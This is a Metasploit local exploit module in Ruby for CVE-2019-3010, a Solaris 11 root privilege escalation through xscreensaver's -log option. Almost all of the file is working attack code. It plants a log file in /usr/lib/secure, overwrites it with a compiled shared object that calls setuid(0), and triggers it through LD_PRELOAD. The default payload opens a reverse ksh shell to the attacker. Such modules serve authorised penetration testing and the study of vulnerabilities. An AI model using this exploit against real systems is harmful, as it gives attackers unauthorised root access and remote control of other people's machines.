##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Solaris::Priv
  include Msf::Post::Solaris::System
  include Msf::Post::Solaris::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Solaris xscreensaver log Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in `xscreensaver` versions
        since 5.06 on unpatched Solaris 11 systems which allows users
        to gain root privileges.

        `xscreensaver` allows users to create a user-owned file at any
        location on the filesystem using the `-log` command line argument
        introduced in version 5.06.

        This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
        overwrites the log file with a shared object, and executes the shared
        object using the `LD_PRELOAD` environment variable.

        This module has been tested successfully on:

        xscreensaver version 5.15 on Solaris 11.1 (x86); and
        xscreensaver version 5.15 on Solaris 11.3 (x86).
      },
      'References'     =>
        [
          ['CVE', '2019-3010'],
          ['EDB', '47509'],
          ['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],
          ['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],
          ['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],
          ['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']
        ],
      'Notes'          => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => [],
        'AKA' => ['raptor_xscreensaver'] },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Marco Ivaldi', # Discovery and exploit
          'bcoles'        # Metasploit
        ],
      'DisclosureDate' => '2019-10-16',
      'Privileged'     => true,
      'Platform'       => ['solaris', 'unix'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [['Auto', {}]],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultOptions' =>
        {
          'PAYLOAD'     => 'cmd/unix/reverse_ksh',
          'WfsDelay'    => 10,
          'PrependFork' => true
        },
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),
      OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])
    ]
    register_advanced_options [
      OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def xscreensaver_path
    datastore['XSCREENSAVER_PATH']
  end

  def xorg_path
    datastore['XORG_PATH']
  end

  def mkdir(path)
    vprint_status "Creating directory '#{path}'"
    cmd_exec "mkdir -p '#{path}'"
    register_dir_for_cleanup path
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
  end

  def check
    unless setuid? xscreensaver_path
      vprint_error "#{xscreensaver_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{xscreensaver_path} is setuid"

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gcc is installed'

    xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first
    if xscreensaver_version.to_s.eql? ''
      vprint_error 'Could not determine xscreensaver version'
      return CheckCode::Detected
    end

    # Bug introduced in version 5.06. Patched in version <~ 5.42.
    unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))
      vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"

    CheckCode::Appears
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    # Set display
    display = cmd_exec 'echo $DISPLAY'
    kill_xorg = false

    if display.to_s.blank?
      display = datastore['Xdisplay']
      print_status "Starting Xorg on display #{display} ..."
      cmd_exec "#{xorg_path} #{display} & echo "
      kill_xorg = true
    else
      print_status "Using Xorg display #{display} ..."
    end

    # Create writable log file in /usr/lib/secure/
    lib_name = rand_text_alphanumeric 5..10
    if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'
      secure_path = "/usr/lib/secure/64/"
    else
      secure_path = "/usr/lib/secure/"
    end
    lib_path = "#{secure_path}#{lib_name}.so"

    print_status "Creating log file #{lib_path} ..."
    cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "

    Rex.sleep(5)

    cmd_exec 'pkill -U `whoami` -n xscreensaver'
    if kill_xorg
      cmd_exec 'pkill -U `whoami` -n Xorg'
    end

    unless writable? lib_path
      fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"
    end

    register_file_for_cleanup lib_path

    # Upload and compile shared object
    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    mkdir base_path

    payload_name = ".#{rand_text_alphanumeric 5..10}"
    payload_path = "#{base_path}/#{payload_name}"

    so = <<-EOF
      #include <unistd.h>
      void __attribute__((constructor)) cons() {
        setuid(0);
        setgid(0);
        unlink("#{lib_path}");
        execle("#{payload_path}", "", NULL, NULL);
        _exit(0);
      }
    EOF

    so_name = ".#{rand_text_alphanumeric 5..10}"
    so_path = "#{base_path}/#{so_name}"
    upload_and_compile so_path, so

    # Overwrite newly created log file with compiled shared object
    vprint_status "Writing shared object to #{lib_path}"
    cmd_exec "cp '#{so_path}' '#{lib_path}'"

    # Upload and execute payload
    if payload.arch.first.to_s == 'cmd'
      upload payload_path, "#!/bin/sh\n#{payload.encoded}"
    else
      upload payload_path, generate_payload_exe
    end
    chmod payload_path

    print_status 'Executing payload...'
    cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "
  end
end
